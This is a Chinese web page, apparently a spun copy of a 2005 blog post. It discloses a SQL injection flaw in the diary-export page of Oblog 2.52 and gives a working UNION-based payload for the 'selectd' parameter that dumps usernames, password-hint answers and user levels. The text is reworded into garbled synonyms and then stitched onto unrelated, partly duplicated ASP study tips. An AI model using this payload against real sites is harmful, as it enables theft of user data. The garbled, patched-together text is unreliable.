ASP网页设计Oblog 2.52导出日记最新破绽

asp对于服务器的要求较高，一般的服务器如果访问量一大就垮了，不得不重启。   Oblog 2.52导出日记最新破绽


/**
作者：慈勤强

Http://blog.csdn.net/cqq

2005-02-22
*/



昨天正好从oblog官方网站下载了一套最新的blog体系，版本是2.52的吧。

原本是在qq上看到一个伴侣会商help.asp文件的入侵思绪的，

那篇文章在这里可以找到，

http://blog.csdn.net/cqq/archive/2005/02/22/297316.aspx



以后，随手注册了一个用户，大体阅读了一下，

在后台有个导出日记的功效对照好，

如许就能够避免因为blog站点封闭，而本人辛辛劳苦写的文章没法保留的成绩了。

csdn的blog就没有导出日记的功效，为此我还特地写了个小法式，

请看这里：

http://blog.csdn.net/cqq/archive/2005/02/04/280545.aspx




不外，这个导出日记的asp文件存在sql injection破绽，

原本是导出本人的文章的，

如许一来，数据库里的任何数据都可以随意导出了，

直接伤害到全部blog体系的平安。



次要的SQL代码以下：


sdate=request("selecty")&"-"&request("selectm")&"-"&request("selectd")

edate=request("selectey")&"-"&request("selectem")&"-"&request("selected")

sql="select topic,addtime,logtext from blog where username='"&username&"' and addtime<=#"&edate&"# and

addtime>=#"&sdate&"#"



人人看到，一切的客户端数据都没有经由反省就直接利用了，

天然会有成绩，

由于不论甚么情形，客户真个数据都是不成等闲信任的。



那末，咱们机关如许的输出

"selectd=22# and 1=2 union select username,answer,userlevel from [user] union select topic,addtime,logtext from blog

where addtime<=#1900-1-1"

全部的sql语句就变成了：

select topic,addtime,logtext from blog where username='慈勤强' and addtime<=#2007-2-22# and addtime>=#2000-2-22# and

1=2
union select username,answer,userlevel from [user]
union select topic,addtime,logtext from blog where addtime<=#1900-1-1#



如许，就能够输入一切的用户名、用户暗码提醒成绩谜底和用户品级了

固然也能够失掉数据库中的任何内容了，只需恰当的变换sql语句。





</p>  ASP由于使用了COM组件所以它会变的十分强大，但是这样的强大由于Windows NT系统最初的设计问题而会引发大量的安全问题。只要在这样的组件或是操作中一不注意，哪么外部攻击就可以取得相当高的权限而导致网站瘫痪或者数据丢失；

从事这个行业，那么你可以学ASP语言，简单快速上手，熟练dreamweav排版，写asp代码，熟练photoshop处理图片，打好基础就行了

另外因为asp需要使用组件，所以了解一点组件的知识(ADODB也是组件)

尽管MS自己讲C#内核中更多的象VC，但实际上我还是认为它和Java更象一些吧。首先它是面向对象的编程语言，而不是一种脚本，所以它具有面向对象编程语言的一切特性，比如封装性、继承性、多态性等等，这就解决了刚才谈到的ASP的那些弱点。

代码的可重用性差：由于是面向结构的编程方式，并且混合html，所以可能页面原型修改一点，整个程序都需要修改，更别提代码重用了。

仓酷云

Session:这个存储跟客户端会话过程的数据，默认20分钟失效

他的语法和设计思路和VB完全相同，导致很多ASP的书都留一句“相关内容请参考VB的相关教材....”更糟糕的是，相当多的ASP教程混合了Javascript,VBscript等等脚本语言，搞的初学者。

代码的可重用性差：由于是面向结构的编程方式，并且混合html，所以可能页面原型修改一点，整个程序都需要修改，更别提代码重用了。

学习是为了用的，是为了让你的程序产生价值，把握住这个原则会比较轻松点。除此之外，课外时间一定要多参加一些社会实践活动，来锻炼自己的能力。

交流是必要的，不管是生活还是学习我们都要试着去交流，通过交流我们可以学到很多我们自己本身所没有的知识，可以分享别人的经验甚至经历。

还有如何才能在最短的时间内学完?我每天可以有效学习2小时，双休日4小时。

运用经典的例子。并且自己可以用他来实现一些简单的系统。如果可以对他进行进一步的修改，找出你觉得可以提高性能的地方，加上自己的设计，那就更上一个层次了，也就会真正地感到有所收获。

Application:这个存储服务端的数据，如果不清除，会直到web应用程序结束才清除(例如重启站点)

如何学好ASP,以前也有人问过,把回答给你转过来看看能否对你有帮助:

掌握asp的特性而且一定要知道为什么。

ASP.Net和ASP的最大区别在于编程思维的转换，而不仅仅在于功能的增强。ASP使用VBS/JS这样的脚本语言混合html来编程，而那些脚本语言属于弱类型、面向结构的编程语言，而非面向对象，这就明显产生以下几个问题：

多看多学多思。多看一些关于ASP的书籍，一方面可以扩展知识面一方面可以鉴借别人是如何掌握、运用ASP的;多学善于关注别人，向同学老师多多学习，不论知识的大小;多思则是要将学到的知识灵活运用。

哪些内置对象是可以跳过的，或者哪些属性和方法是用不到的?

作为IE上广为流传的动态网页开发技术,ASP以它简单易学博得了广大WEB程序爱好这的青睐,而且它对运行环境和开发品台的不挑剔,以及有大量有效的参考手册,极大的推广了它的发展。